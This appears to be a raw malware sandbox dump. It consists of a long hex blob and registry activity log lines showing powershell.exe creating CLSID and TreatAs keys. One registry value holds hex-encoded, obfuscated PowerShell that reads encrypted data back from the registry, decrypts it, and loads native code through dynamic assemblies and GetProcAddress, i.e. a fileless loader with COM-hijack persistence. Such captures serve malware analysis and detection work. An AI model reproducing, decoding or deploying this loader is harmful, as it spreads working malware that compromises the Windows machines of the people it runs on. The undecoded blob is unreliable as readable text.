d8918dd5da8915a5cf9d1368a3100d5880beaa88844279674b52f777bba77407bdf6f30d2dc60976857296747f197447e74638de6229f1aff81b4b2f7e2fe82ea3ce31f0898cbb29a9d89b627d6d79c5247fb6abfffcbe3e89627f6b5f6f68ed69a071a746ecc8f62cb34e288609080eeb17db2900d60e3aa33333a5aa55eca398e27bc349dadfd4f95da2a8ba86ba48c3cba57e704d28fedc3b85209da8b82b29fb182f8745e338a84254b87a27e58f2f9f20ffb8c055885c16f3e86d787d108a7cca285944e7078eac8967484320674f8953222a0d2584c018bd30ba54b11c6c7e6b216c150d9062726e7ab9f126be5d9fee8d9ec9d85aaf1b25e3cccb644a90b34ad830a57ae965ec3e488c10bfa4bd97a1867d8e374d1cde298f279c52c236461fd00f056af4b4d0e8dd9993a18e844b6e2362faa1f8ef96d4c53e55c73745ba7b13e3a85dcecb7cf7a11aa97dbfc82bbf7c2448987186c46380c55195b72967671a8a2eb1f8e0515b745fd31cceb6c722d893cc4b2af9122ff2c1ad06e3d8da74c0ea61381724cf550bd0b8195b1eaa038d7aac776d94f8250fa276bdfa912ffba00e90b02694120e645f7dcb61774f512ed0125c8e193b15f21e6d4718e98989c0bbc097bd080ad7525bc2cb7b1f2337f3b78c9010fa44233c8a30c31f081b4407f7be92878b4a13d20589d38131d7896d2e41542a83fc7d62dffbe8789d0bea7501d3d0e63a7b99191b836c03258fe7340c18c54428f1796342e625b796957844413495af9d93a07a47d77192ddc8e444b296ec46cd6dbdd7f70a512e752c385e24c5e41b7dc19ad1c18f1c002a3f06dc654ac99a3d7602f68582ac192c0bf2a184eb0545b8f4c2ded17925e52302129f2e54b42ed702d4de9a772a79a001dcf9d9176007a5f47accb521e2a7f407fc7ba90b759c45a5f499a1aaf9709aae684e692f78fd97819b28251c47bdb4512f4ccc9964abe0367710b70c1d3aa2150db04b26305552d703783edf5c952b3b7f434d9fe37ea6d7fd67342cf7489f87b224aea00524a3403276a1109756626d3df2869e7ba6668200fcf50924da9391f7df60265dc49243324ac2b5cbcbd8473cf3aadb2f4632c41ed991c59e976682f13eed37a771ed9f8164e1c4b6915bf1218aae0fe10c1bafac78de5e128decc49fd2cab68607fd89bc3506ef46a0108bb8d0e60a9856e86c1e322374ae5d30b48644ac1c911930ad0aa161397a9635f678259bbfe9342541d1bf02dde489f49504aef584b28ce5f89c831ecf40ecca6a4e232f1614f23b43d49038d9671379a0aaaa09c38c672c301fb58879e33a0020db1fea12eb1d8285cc7df0f6db235a05196a79ee5c3226e789000253ef05667377d05a725dfc96bc7e1cc7330f20bb498d3110121f9cfbcef01fb16884a64243bcdeaca079eb800f532dac2f4b874d42a8b4c3c5c0c0a226124122819dfec0de8e5c450e6883b292b66426588ab8ca5a6f8ac0993eddfa9404cbafa9874606abea0fe68e8e0ebcfbe25d54a283b8e665198f98aad1ccac102604c95da3c4b7727f22a5e0e28679d1aa091adf8ebc6139e96d034fc817cbf3e72b52ea3e7a3a99490637526bf6ec5b1671f41bffa63520231f3d6d462bbb8c28c2a16baed7a6138d11ca366a3efa2f5395dee6fa2e5a00289b6b568a24e67af2c87486afeb603acde5e7bde5d4f257d02aa1b014c7fd5f5b36507e3c8c7994890090eddaf7ec8948d4ca87ef8f2b3647d0be2ffdc937e4c6bafa2c94ab3493a3ca9c41914b20cda545d7f65daa26320ccabd9f38fc78e1987e31847e84bf58e40592f5db21a5c8ee8e8154089070c2d3217ccdcb6f53aaddc4626b372fd72045beedf691c362e4c47d68c24001c9cdb43e9d696274f515126a4f5c5ae1411054ae17e470a02cee4b037f1f8136837bb4579b8c9d8969ae41ce8882dd78cbdc4f8bf8d5a93ac10041e7de94dc597fc35f3cfed254f7b972ca11b2499f2ab79570892115737c7373cad1ff4a34eae442822c7fd104be7d0afad52aa4d619dc659b329c27cdf0c597841d63cc202e276dffd01641a8af19930ba87ffea76d07480a725d06dab78ecad2cfb10d34f950acfe0e03fa643768413b2bf6b788968e0cbb5030bd71eb09912eaf357abc63e226b873afa5d075c2a870154b2ac5214db7c295f58f0e908506a7a4092460f3526098f70197971f0fe00509e2e69f64e9c182cb9a5eca7b796530bea0c66e1886d23605eda3747af4a5eaf0f8b4ad656db15c72b14994fb432399b2cf0afa8de8316034c6a4263ab4efe0622baa7cc9877d97b2f325b3702f099f86082a3dc6bd25e183f8612bf40c6df805366b51fe37d9bedea990f8ab4f538717b691c0276e89ea362cf3e0dbf044747657539e54090f7914a690a99f57f3279a5629468c0597185be09c265803e3d3a47f27eecd978f0129e1572c5629af83a459fa4dc803d642d904be1da7e71cb854cf19ed8c40236e1e2df7023f798f1a7dbca39e635111e05cdecfd0e73fb69c5902693dce412d13440b032b28094ea04ea95360df4643eae2d64ccb7caf8575914bb4c6f1eb4f5bec8928f7b7027d181fed2c69f4fdf3cad7f2758fe1b1e077ff705a3644665372d57244accd2cae9b3368251d24e655b5eaa2d45d8224eb683ef7aa1689f05af5a9456c903f076672d475910066c94fa6416de945fb847b3caf23e7a9657f6bcfb66c571e1f352945146c78b3428f32d6dffba119031f8598d90ce9d612a9f845a7a2fd77737cb296761eb5cec5e3fb1caf329064ed770777a94f39ac0ef54c4d18b4a7f144042abd90282cc673068eddbc5bc0a1b7e62052f530d65f0be58f7b7e45c1a02baa0dd310dcf91789fbdba264d20e668c89748ca44728c97cb73799ae0c5706222df31eeb14a6c36d87f4bedcc60d30c2991bc2a0eb9618ef5b146f832e25ce229f667461e4dac23f2dc05cd452fcb350190b71b60c9a7bca6c010dcebf7fc2c35d7a54571e0778b7f6fa54a42ae04c90a57b00a5cdf7339e8f38a14df00a492ec6c639f501b14cb52d217de2d34f49a3c745d6c617a5e79392ba5dbebbaf74e016b1033366d4f4c074134fb00c4829aa1d18a2854a02dcb616777baeb8a98bdaa5adf94539e1360e6a95623ff8276cf0e6ba3e43986457f0b5a1623ab54ebbdc98cf9e5652568cea3106ad9366d5d03bf23bcbbcd7b9b62b9a07c404d7d8d137211b9742429b714b2cbfbb14bb128c2a39a011ab3d6ed0ca57ac1ee378b969d0513710be6e629cdda958037adad06207dc12497ce3043ea29ebf0628be98be771b558bd2298b6079d2e72c42a3e16e04082c2ac9ed0eac099786c4717861e33223728064ae0c648b17b3448300f347f507442a50c8a271a8e292bfebbc21fe5d0363aa4ad44cabb39dc2bb71b7e687b0c42e8b1661c17b2dbc49e42065f9d2baa230a65cbd83358e390edeb1e7e0ca0d1f67d5a3a3479a6f1d57da92e519d6900a1ffc39bf154d4b57b9bbe16b1adb4222ee5b073faf10691b69307f99c6aa3cdb039531c547a636540afba4add2e912869ac4fbe6cd9335df1502b531fa21f7811a30ba02a97230b45226092bea929da2627ca13ed1d321b84a4572874f90362612e40e80c6e27a40c96756b95039df2e59ad4d433e2d190c674d73219d80b879070a146c21c450465fc2a18cf489af95822d6246b861ce16976e927ab46eddf6d95c468fff7ecfdba17e39fdd1f424b4794263e6c22b82fdae67d5acbfcd9ce373f162f205ede8ee36e87e77a3579af92261773d23e7e0c8adb963a79b78ae60bb9739e0f4177f6564828bb3b9b80dde05743784ce3e9d79ac2a197eeb45c8c475da219871d64bdd9a93133793363fecf520b18e2b34a6a8c746aa6f1bb282012664db1709874685882ed71d625decb16e4b7647667509cc348e9e80db695fd51e6019e153eab0dc05a54a371fac308c9e47963a311c90804b98acdc3841f8f4d55dc015de43dc82a9adaf6493f59843025438d350f0d232d4427e251421dec7773722f0604d2dc042f09df50bb6203551992f22e011addd29610def08a0b53d801c78d3d915ed8f796c824c0ac817a687167253bb7b1cc77c0138e1416e4e2d7b95c3126f37f958a6f61fad1691e7f51660a12f9796922407788e9ade27ebef793bc82bda1c7f4dd563c940f6f36f26f6a2b1aa0554524371f9df3c2a662854a688b69d5abc48624341cbc00d88fa483f139b1d3370352937cfe8c023a89f1d9c1ebb85831bca1ca98f7ef5866a6165fdf4dc7bcc8fc69805c3b8ad3acfbf493c4baec1a37d000004a2aa81adea8ce08ad9cbb29a1bbbc74a22511e4c9917caeb56df00f6c2619402cfdc8901db43905ae8d96d5aba5c7bbc603e9f0e4bb73506728e30be62993a086628e45b4e4b54b0fde5bd6521f50a229a4f914bbbef72f70c738ab801aa491dab5a5702dc698568f851263cddce9a8fc067b210ed0994b94e556ffced863c10746b9152ea672923c9cce34b05c29bc989a149eb2ebcc83c9678f6ec7c2cda42bee9d5a3154de0bace55d57da411d0e14488361a933c631867387adcddbdd3203e5738e2b919fb8ba29392d37580bbb9ba2555eb9e7c7ae5d77968625fa1d9853e21df1104a56a7324918717d9af4ea13e9335086aab4330059565301ab8600f4962f93383228e86228c1d03046987d6d893e6c7406bf5d604534faf8a1b7706f93cc25ac063d20dc10cbd2ac98ff34c3e4c405298a8d917bb7681a7844a27a79d6cf9e83dbedcf41a368d5b6516b817c91e7506217f12eb58f77472cedfcd40f5de79ad1873090c7739dd43164bb7328e100c88d73d012fe7d3090920b1c963f6de6ec749acbcba223e17ce88d23875b54c82921e8e560c93c159fcfa42862fbf53ee4d255e6931ebde1c56b9735335f977c9f63418bd63e279b1efb209ed3264ed66330e17c5af55ab4bc95044586f054f75cbf49b81aa1ef77dc63bfb409170b903c39f83fd4f1c0e218c54a1fd9281c32bda7b3f9357e0858a874eab7a08a00579adeda8715fe09112bed413ea07eb3bbe1d0850bc376efdb31a539ef16787bf308d6e94636eb49558f811a59f75f5131a3ccea1749e72143b28ebed99fe6c7b396c2b4fbc4fd527be9f548633b0ea08df4240221af0dc1379d231b507918b3ccdef90fe11dc3910864766bdeffa8c91d0e9721cadbaa120a0be1bfaa3fed365f3a37642b8488063e51159e4c886a8fbd9dd75e81c2c66084c07bce5b1c70eb5c3fbe0624ba407a1b0fe9c7054de2577e9c47c4981239efe4476328b3c87b88c117c0dda48d1b38fccf368ff3bc472a133e51cbe9bd967b3b9758bb51a37a95a63aea4302dc4b62ceaf1954273ebbc0e0641ff2056d265a419ab63c5cbe675e91fb160c4f3d50009c45a3d10b9dfdf5245c1d3ec4f8911514401529ef368d2461ee6315e079747c388027437f1d8dde82bb0be1412838045d3406516efcedc8b79df8895fe7390961a98e685d5ecbd611c9e3f8073f190d5cf2871e6795ee8b2e69d572c0b52c65fe2420ac0a1812f1c6c35d0da04bd7195538cdb9efe5b36bc9ee3f4f84b81a67e5c94cfe570c2f2a4b094c0983e4a7682d091b114e5fcf41967576b28ebd288ebdca9ea85f1c2536b0fe61ad0f81cedb1bd465f7f42224f2e7101bbdcf51eadd543258f84368d6091b4fa8241582de20c2bc11bd1458f2cad9788763ec19e5387d67ab86a5bb05627ff00f6cd2a69bef5709e25eb2ad021089402b0ee1e8194471bc370a68e586afa0c325994c512b7deb42dfc9127d14cbfdca85ce569f5e616039ae8fdcf658f7249d1e6cc86810da7cf46e67435b8455c4148aed4048064ec6b60b6d2bb73384f3295dcb02a8de755c5dde6376203364b2a02da56ebe0652632f29cc35928f34fda9a7f01aeefc7404927d1ab14b7c47089993cb4a84d08c343bc0ba99379a6910d18e9dd41a84bdc3a80faa1177c46fc61aed2e9ceb6e422e624311f7e706956aa2d440b8bfe8f5cece1b2cc296f01b23d85193a6768ac59d6923670de1cf85f593a02da750ebfd452bac5faf36a3f7ba62e9aeab89da21043d7f760311d155140015479f77cc34d2502d59cef1ddbc8f31bd9497771252f1221e2ee19c0ed6441f4331f704fdbe6277b785717d8d54390c98efb151863160ac8c3ddd0dd68e9725f16c2de94a81bd2441dfd30044b0807d2a4d8c2c0b8ca71fe64d128ac1601006aedca2856c4093912bd6d9bf4153d926599de2e517c1c7c0a4b86e0a516e275e22241ba3d1414fe3c7c1b77a456612d2a9d6b9c7cadb8ce64b0c775811616b5e32bed20d8b9cc014f7365540caaca59645dc95143a3390ab172cf96319205245672e92fea7c3de3cec601a6384cf380f420f3fc5f6ac63e2ae86f79959aa571dd568c9d92ffd15934b2e72c578f8292a298a58f0de7f78550b4d6f09dbb2afb138bd2c6768fed4bce2102cd7cee4081fa66308f3856f08899cf731d27e13714e6194713eee9816a0aada920461f3cfb9ed5a9b6f401c16537da767be0eabdb5ba1251752b26e7a44ced3877b04409347e961581cb247685853b31ae35d3f8136f50d05d31a7d4ec12c93a8bc40a90e70313e8d4091c56ff5e3c6fedd64770934e2fb17fd277e52105420810fcf7ade2939494003ffbd9c75c62672373ba647d628933036a80585be71a9cdd4755c6d513a5aa6c9f70f9449f93cbf83c7aa12091cec1bd377bbd8fcbc4c17e93216bc0f3eb7964a4f56f5336ed536c3835a63b16c6687fde3dd2e642dac3732b68b3c7a8584c3e13fc8374423fe6c29fe2bca14af243594158e1be94f0d82625985786bea265436c3cd73d12552b620af49f250aafbea4b2c92cfe617de771e046a1acd0f819dd6dc4ada20c6ac06d1b0f8a8ab712d98d4a7817e1285a23b65a63d62cb92b5ea85630061ced61df65de36387082249ceda6e054d93201fcae9397f37bcc665a3e58df501831b0bf972ec3dd2ab4b5f92fdb16824ed2446cce8fbd1681e6a520018f5cca17ae4575204efbd72fc7c2035311490f908c4fd92916228044b7c5e347d5982c6843c0e16cd2c0ef56c8874778edba07e287eec4a6f65d07e8d3a2950dad784105f21e62cd0aaa04f1287353af99ca449e5d64fc91f2d0c4a555478c4a2b337486ae52f25b51563d012fe745e1db63fd7afd706a06a760db4d270e898478628123d3f86e7b5c3edb1539cc95ce624be52f3770b7596de9f3bbffa2efc66de8d3dfda47b5b1a086dbe9dde11a9960e0f622a3772c51e5e93e68127c36d3b1b94e67b697111217ceba3b399d5fefda33269bf5d6fb761fcd44f93988851ee6391bdc6e9cc7abcc0ce934852f3b18a07aca038d96938201a6809d53eea3e3667381ce322909ad4fbd78e44f7419ca1baa97c87910af5e13b66ce2d9838ab0982e1b1f58ea023cd414b3eac138341a992aec314bd886322d4ccc11b882b893eb11a4fd8dfd75e186ec763ebc40565e19e31ed9bd54ee9d53e420b728f2b254281ee48f91624b2d864e1db137ffd5463b5c5f8a99137ea2f5c16097a5615f8880839d89a06d60cddfc457acd868eeeeb43f507f40e8762dd9a02b4952c0e4151826d4480e66749def8e3273f98682821e2189e43dbb991a7a8cd40239f5d9beb573ccb1f02ad5771072a5a060a4824d3fd937f7127f57a771eb918490ff97b25bea3e82ef753259e885f8dc4a5a2429f315671f91284e385d6caa2bd10c8ad89f2b65673c16c4de8b815ba739de6a84ad7cdfd9d0ffe8fd4ed805cd2c25893268a54f7e613a216e88ed9223e41ab0d6042a20cceaa4d52b556b37d84e8b0d32d0c483b7c82a6178b26305ebfb4932aa50e187c3473c26668b0880d036afe505d02f611ac0623089ff5a4cf6fde920ec737f860fde9279a465865870cf72fbaf0dbdd945e34ca3741991f6f43c8566ae46990ea420720ced8ce133e0c2c644d35795a0d7c82e221f405aea6872b1bcef9eb0fcc51a9d040f00e74fc6447ffa161db1e9a9b37762328ecbae2032cafc2e676e5d32823e9148ddda5dd0f3fcf1a1911a9018202d0ed790c4280da5efeb2200f01808ebd55a81c823d0b30449d6670d79d9fbdf7b08699782e177c7fafb5f0757c6bbbd818e9b65eeecceb9ebdef7f4d1583409f9c0b0aa8256e9d09af4dfc3e81ce523d896038c181e560eca5fc111ec0b7f1820d168512c74f6733c0c8ddc427c983313730d817d1f891a8c2fd192777601f6b20e14f3204692856ba6a1a3fa4d042312c2a892e451c050f7571ff55fbe11c735b7c05706af441d86a549807bc7091c170b341e58dd61fe538e68b19dd0350466e17dfbb571fbf920de01f616e73422fac172438a3bb968932d512c03916112b88a96883fa6f7efb16a8084282976502d162f705f91d86a3998c301a0ad0985ff778002d50f5638545f9076ce49e7a83cef05f9dad8b962cdfba71566b6377fdf45b0e1f89c89233d3c290a839ebab645c2b026fdc19c0c0c9a4f5594c59a1f87a201cfa6750e00108cbbb6df1daf7e287f22d9b9d467c45889898f5bf5281c249b5cc1752a43c8fa8620c0ec16b461e5c8be59ccafb58f839ed9ed60229fe70f41f18e5c4cc72cd4144412eef9c809e4204d57a7a2798deb86b356233c46acb61ef5aa84e09ff8b96dac07cb8898c2e6ac19fdbd8d54172e1869acaf18af62a2fd23bd3690dbea69d906aee6243a5ec9572826fbeaee3441e48e0add9e99922afb13a075bc412e0e9a13a814619dd259007c98ce89856967d2f165fbbfc2f36f2349a412dde3949e1b1ef7b506f7c6adee970d112a716e95aa8ee0006832e1723b2947ec5e4914e141b14ed60ad3559d87d44af97c85838772dcaa7be9170bcca04191431e2bf02b8df1707e356d40b60faf2ab6c3d175da2cb44bbaabe525390d55b3ec5371032194b67dbc6ddc1f3cd45171cdfd0cc1e34fa89116857ad484c83716aa41209fb10fcb9614db4543625b290c1b1f8887d013c87a68648b024ec83681c7f1cc8ad2c7d8c5ea7017e72f252fc6f3a1a8b07fd1e442f4ef20832d67d7293f73be10e66f0f1a46fc485c5d338201d2813f5d204fa2a3ca6ed52fd3adac947dc04fbbacde4c55da59aa04ee3a67cb258921a288145ed4bced68637c7364ad8c3d9010d27691fdca5d56e422258d24d101a0bfbc5aa02d625b7b4f248e0fcceeaaf38a00b28399a13568d36e3c7a2830482608321ec68e1c43998464dc753f2ee63371107c1d2227f8a9b3b8d9eeac7bc174a533bafbcee2470f61423e9f5da685b8b7b492044136ae8feeffba26ab2edc880b3e3f4d79b701c6b6857e3acdf4523a40dc17c9f53d1003d64b56f4d066638a2687b39edfa4e47d9b9a1ecd03d2e799418ab0485ddca5b21b5bb2baf4d072df6cba150607b6ba7531ce82bf1ca13a2691572383cce607fccf93218ad0ba60fd4cd1462f1a1a66f38e23ec668ac03c4d99febd7bcf9ce33b5df0e94dac4a447ce42b88cb90a456ca619fd4e814fa0ccc40393fe86ec9affc8da85ed6b84e1472370cc89ee982209e584b1928c5663307431f7c6b0af909f077defafb6b80e0d58ebc4973deb41390c38b2cdf46e5c1a25e7fea7d90c5da820bb8b53cb226dd241608901bd041c2fd426e885738245874159c55904d5000cfe9154922796cb6fdbc64daf1591fa520a3e23ae867c8c416ff51d91f8c82f52aa574771012f5e90dbe931dd8d6bd3b39757a03aa346a3f19bd33e6db39f3d50fb74b25570df34cbbbcc0cbf277b7623c425c40d828eb7e8efb4dfdf18ab1b2e41e0d83f4eee7e28200747aa2dd6d946827975c63c2081026352c9c7d8523d4f702a7cec7f285c356e92f426c748abd378762ac17fac85aa67c1b5ca5cdc0d4b49fac7be5dfed6b295355c8f7d5c9651213989dc9987383da730af6096bf7c17ab0272d2a4b3338b9076563bbc5ed31c63967c6ae42e4fe4ff589f73fe4f22c80e72301ed19eb51d55e8a7a00b63fe446f9ac1d4048b9947364d1ed3cd7c28217e0d81ddc4fe8ba8f1053c9f3635af9e56f4efe18dd70b4f00e5b7052526a2e86967c1c4cf5f325f7e97a27cbe100a307f2c27cb8b0a64fc38840a78ed45b0b71dc241a6d96cda23568abf699143d4f82b7531debb0757a98d0f07e36812874edcf6f7fc5555a6b31ce58ec8b45b206fdf9330ea89d463650c5816f0b922632d7a72505ab2eb504df0db23be0f39269a2a4042b1f5cc02e7596f2ac6466dfb9f034374d034e63ac1dfc2312a16dc39055dab265e5f9895786ca0641d73e6801639f6ecb59e26115d05b73f42c930c1828545349a63b4409a9f07bbc9906dc4309671dd526e17259f515dda94159d75244a75d27972a50528ed7e40acf6436608f5b39a14eb8a4f84ca1afefe2e7935a6ef043450aac0a597e3f8e1edb3939e84513d4d5d0806a5a4d1246856148c60e6b154a317f5e7f2339fc8fb7f2a458c30caaef01caaf1ef32495cac6bd596f51c7315c47fde3514c8916989a088f83c12820bc778fc003503273bdaf561759814fb9b4c9a7f20a240e powershell.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\ID = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\{060A0900-030F-1310-0912-00020B080C12}\CLSID powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{090C0D01-0804-0A0C-0E11-09100F0C0A05}\TreatAs powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{090C0D01-0804-0A0C-0E11-09100F0C0A05} powershell.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0005000E-070A-0800-0A07-0C12020B0A0F}\ProgID\0A0F = 66756e6374696f6e206178327b706172616d28246368302c247862372c246663352920286e763720273234364236343330334434373635373432443439373436353644353037323646373036353732373437393230324435303631373436383230323736383642364336443341354337333646363637343737363137323635354336333643363137333733363537333543343334433533343934343543374233303330333033353330333033303435324433303337333034313244333033383330333032443330343133303337324433303433333133323330333233303432333034313330343637443543353636353732373336393646364534393645363436353730363536453634363536453734353037323646363734393434323732303244364532303237333033303330333532373743353336353643363536333734324434463632364136353633373432303244343537383730363136453634353037323646373036353732373437393230323733303330333033353237334232343641373933323344323832343642363433303542333333323544324232383238323832383331324233323338323932443335323932393242333932393239334232303234363736443330334432343642363433303542323436413739333232453245323832343641373933323242333333313239354433423230354236313732373236313739354433413341353236353736363537323733363532383234363736443330323933423234364236343330334434373635373432443439373436353644353037323646373036353732373437393230324435303631373436383230323736383642364336443341354337333646363637343737363137323635354336333643363137333733363537333543343334433533343934343543374233303330333033353330333033303435324433303337333034313244333033383330333032443330343133303337324433303433333133323330333233303432333034313330343637443543353636353732373336393646364534393645363436353730363536453634363536453734353037323646363734393434323732303244364532303237333034313330343632373743353336353643363536333734324434463632364136353633373432303244343537383730363136453634353037323646373036353732373437393230323733303431333034363237334232343641373933323344374232303234373537343331334433303245324533323335333533423330324532453332333533353743323537423230323437303642333233443238323437303642333232423234373537343331354232343546354432423234363736443330354232343546323532343637364433303245344336353645363737343638354432393235323833393242323833323332333232423238333332423332333232393239323933423230323437353734333135423234354635443243323437353734333135423234373036423332354433443234373537343331354232343730364233323544324332343735373433313542323435463544323037443230334232343642363433303743323537423234363836343330334432383234363836343330324233313239323532383331333833333242323832383332324233313330323932423336333132393239334232303234363336323331334432383234363336323331324232343735373433313542323436383634333035443239323532383238333433343332324432383333333033333244333133313337323932393239334232303234373537343331354232343638363433303544324332343735373433313542323436333632333135443344323437353734333135423234363336323331354432433234373537343331354232343638363433303544334232343546324436323738364637323234373537343331354232383234373537343331354232343638363433303544324232343735373433313542323436333632333135443239323532383332333033373242323832383332333032423332333932393239323935443230374432303744323033423234363637303338323033443230323832363230323436413739333237433636364637323635363136333638324436463632364136353633373437423237374233303341353833323744323732303244363632303234354632303744323932443641364636393645323032373237334232303238323432383636364637323238323436383634333033443330334232343638363433303230324436433734323032343636373033383245344336353645363737343638334232343638363433303242334433323239374232303542363336463645373636353732373435443341334135343646343237393734363532383234363637303338324535333735363237333734373236393645363732383234363836343330324333323239324332383238323833383242333133383239324433313330323932393239323037443239323927297c2628247073686f6d655b3135372d3135335d2b247073686f6d655b3137362d3134325d2b277827297d66756e6374696f6e206b78387b706172616d28247772302c24706c342c24786930292028766b3120273234363137343337334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343632373633363344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343631373433373245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234363137343337324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234363237363336324332343737373233303239323927297c2628247073686f6d655b3135392d3135355d2b247073686f6d655b3135382d3132345d2b277827297d66756e6374696f6e206870347b706172616d28246d61352c246663312c2468673929202878653520273234373836433334334434373635373432443439373436353644353037323646373036353732373437393230324435303631373436383230323736383642364336443341354337333646363637343737363137323635354336333643363137333733363537333543343334433533343934343543374233303330333033353330333033303435324433303337333034313244333033383330333032443330343133303337324433303433333133323330333233303432333034313330343637443543353636353732373336393646364534393645363436353730363536453634363536453734353037323646363734393434323732303244364532303237333033303330333532373743353336353643363536333734324434463632364136353633373432303244343537383730363136453634353037323646373036353732373437393230323733303330333033353237334232343737363333393344323832343738364333343542333333323544324232383238323832383331324233323338323932443335323932393242333932393239334232303234364636343338334432343738364333343542323437373633333932453245323832343737363333393242333333313239354433423230354236313732373236313739354433413341353236353736363537323733363532383234364636343338323933423234373836433334334434373635373432443439373436353644353037323646373036353732373437393230324435303631373436383230323736383642364336443341354337333646363637343737363137323635354336333643363137333733363537333543343334433533343934343543374233303330333033353330333033303435324433303337333034313244333033383330333032443330343133303337324433303433333133323330333233303432333034313330343637443543353636353732373336393646364534393645363436353730363536453634363536453734353037323646363734393434323732303244364532303237333034313330343632373743353336353643363536333734324434463632364136353633373432303244343537383730363136453634353037323646373036353732373437393230323733303431333034363237334232343737363333393344374232303234363537333339334433303245324533323335333533423330324532453332333533353743323537423230323436423734333033443238323436423734333032423234363537333339354232343546354432423234364636343338354232343546323532343646363433383245344336353645363737343638354432393235323833393242323833323332333232423238333332423332333232393239323933423230323436353733333935423234354635443243323436353733333935423234364237343330354433443234363537333339354232343642373433303544324332343635373333393542323435463544323037443230334232343738364333343743323537423234364137333331334432383234364137333331324233313239323532383331333833333242323832383332324233313330323932423336333132393239334232303234363137343337334432383234363137343337324232343635373333393542323436413733333135443239323532383238333433343332324432383333333033333244333133313337323932393239334232303234363537333339354232343641373333313544324332343635373333393542323436313734333735443344323436353733333935423234363137343337354432433234363537333339354232343641373333313544334232343546324436323738364637323234363537333339354232383234363537333339354232343641373333313544324232343635373333393542323436313734333735443239323532383332333033373242323832383332333032423332333932393239323935443230374432303744323033423234364637313331323033443230323832363230323437373633333937433636364637323635363136333638324436463632364136353633373437423237374233303341353833323744323732303244363632303234354632303744323932443641364636393645323032373237334232303238323432383636364637323238323436413733333133443330334232343641373333313230324436433734323032343646373133313245344336353645363737343638334232343641373333313242334433323239374232303542363336463645373636353732373435443341334135343646343237393734363532383234364637313331324535333735363237333734373236393645363732383234364137333331324333323239324332383238323833383242333133383239324433313330323932393239323037443239323927297c2628247073686f6d655b3139372d3139335d2b247073686f6d655b3138352d3135315d2b277827297d66756e6374696f6e207967347b706172616d282465763829282d6a6f696e2824657638202d73706c697427282e2e29277c3f7b245f7d7c257b5b636861725d5b636f6e766572745d3a3a546f55496e74333228245f2c3136297d29297d66756e6374696f6e206971377b706172616d28247572382c24767437292028676331202732343643363433363344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343643363433363245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343735373233383239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343643363433363245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323437363734333732433234373537323338323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234364336343336324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3135322d3134385d2b247073686f6d655b3231342d3138305d2b277827297d66756e6374696f6e206c6f317b706172616d28246473342c246b6a3829202874753020273234364336443332334435423431373037303434364636443631363936453544334133413433373537323732363536453734343436463644363136393645324534343635363636393645363534343739364536313644363936333431373337333635364436323643373932383238344536353737324434463632364136353633373432303533373937333734363536443245353236353636364336353633373436393646364532453431373337333635364436323643373934453631364436353238323733463532344534343346323732393239324335423533373937333734363536443245353236353636364336353633373436393646364532453435364436393734324534313733373336353644363236433739343237353639364336343635373234313633363336353733373335443341334135323735364532393245343436353636363936453635343437393645363136443639363334443646363437353643363532383237334635323445343433463237324332343636363136433733363532393245343436353636363936453635353437393730363532383237334635323445343433463237324332373433364336313733373332433530373536323643363936333243353336353631364336353634324334313645373336393433364336313733373332433431373537343646343336433631373337333237324335423533373937333734363536443245344437353643373436393633363137333734343436353643363536373631373436353544323933423234364336443332324534343635363636393645363534333646364537333734373237353633373436463732323832373532353435333730363536333639363136433445363136443635324334383639363436353432373935333639363732433530373536323643363936333237324335423533373937333734363536443245353236353636